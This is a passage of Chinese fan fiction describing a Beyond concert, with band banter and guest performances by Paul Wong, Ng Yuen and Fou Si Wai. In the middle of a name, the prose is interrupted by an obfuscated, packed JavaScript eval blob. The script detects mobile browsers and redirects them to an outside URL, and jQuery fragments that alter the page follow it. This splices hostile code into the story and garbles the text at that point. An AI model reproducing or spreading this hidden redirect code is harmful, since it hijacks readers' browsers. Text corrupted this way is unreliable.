三首摇滚风下来,气氛瞬间嗨了起来。 “thank you!” 一束光汇聚在家驹整个人身上。 他手持着话筒,一连七场越唱越兴奋:“好开心,好开心这样呐喊,我们足足唱了六晚,今晚是最后一场。每个人都说是否今晚会特别好看一点?” “我说不是!“家驹一顿,笑着开口:”我说每晚都这样好看。” 回应他的是台下千名观众的狂热的呐喊。 “不过,今晚我们也会搏到尽,唱到尽。” “你们不走,我们不走,好不好?” “一直以来,在这六场的演唱会,我们都会以一个倒叙的形式,由我们近期最新的歌到一些我们最早期的作品。” “刚才我唱了三首歌,有很多掌声、鼓励声,那现在我希望有同样的掌声、鼓励声可以给我弟弟家强。” 家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890302|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驹伸手示意,隐于黑暗中的家强从后方缓缓走到话筒前。 “接下来,《我有我风格》,多谢。” 当家强沉浸在自己的歌声中,身边的家驹同Paul的双吉他solo可以说配合的天衣无缝。 家强一曲唱完后,阿Paul遂即接上,向观众演唱了他的两首代表作《午夜流浪》及电视剧《淘气双子星》的主题曲《逝去日子》。 家驹在不需要演唱的时候,往往会更专注于吉他演奏,比起唱歌,他更爱他的吉他,所以在这三首歌中,他则充当了主音吉他的角色,各种solo以及摇把的运用,让在场所有人见识了家驹深厚的吉他功力。 在阿Paul连续的感谢声中,作为乐队发言代表的家驹再度开口:“刚才为大家唱歌的是阿Paul,《午夜流浪》、《逝去日子》。那在这个时候,是时候唱一下我们唱片里的新歌,这首新歌是我们参与一套贺岁电影里面的插曲,歌名就叫《午夜怨曲》,希望大家喜欢。” 之后,乐队为观众带来了一首老歌《旧日的足迹》,值得一提的是歌曲末尾solo时,大家还没来得及反应,舞台一角忽然有一个人欢快地跑了上去。 那么,他是谁呢? 原来是乐队前成员远仔。 重聚在舞台,抱着吉他的远仔先是跑去和家强互飙琴技,一旁的阿Paul也凑了过来,两人面对面放飞自我的即兴发挥,指尖在琴弦上留下一串眼花缭乱的动作。 台下的舒慕望着好久不见温馨的一幕,眼眶禁不住湿热,仿佛beyond从来没有人离开过,他们永远都是那群纯碎热爱音乐的少年。 随着观众们的欢呼声越来越高,吉他声缓缓落下尾音,家驹环着远仔的肩膀,笑意盎然地问:“大家认不认得我这一位老友啊?” 远仔笑着和观众们打招呼:“哈喽,好久不见!” 家驹继续介绍道:“刘志远是我们beyond里面很旧的成员,但现在和另外一位朋友梁翘柏……” “梁翘柏呢?”他看向后台的方向。 远仔开着玩笑呼唤:“梁先生,请!” 家驹:“梁翘柏、刘志远的浮世绘,交给你们啦!” “给点掌声好不好?” 舞台下再次爆发出雷鸣般的声音。 身着红色西装喜气洋洋的梁翘柏介绍着他们乐队的歌曲:“很高兴今晚为beyond做嘉宾,第一首我们要唱的是《忧伤都市》。” “能够作为beyond的嘉宾真的很开心。”远仔说:“接下来这首歌是我们的新歌《Want U 2 Nite》。” 这一晚,浮世绘乐队带来了两首非常劲爆的歌曲,引得众人叫好一片。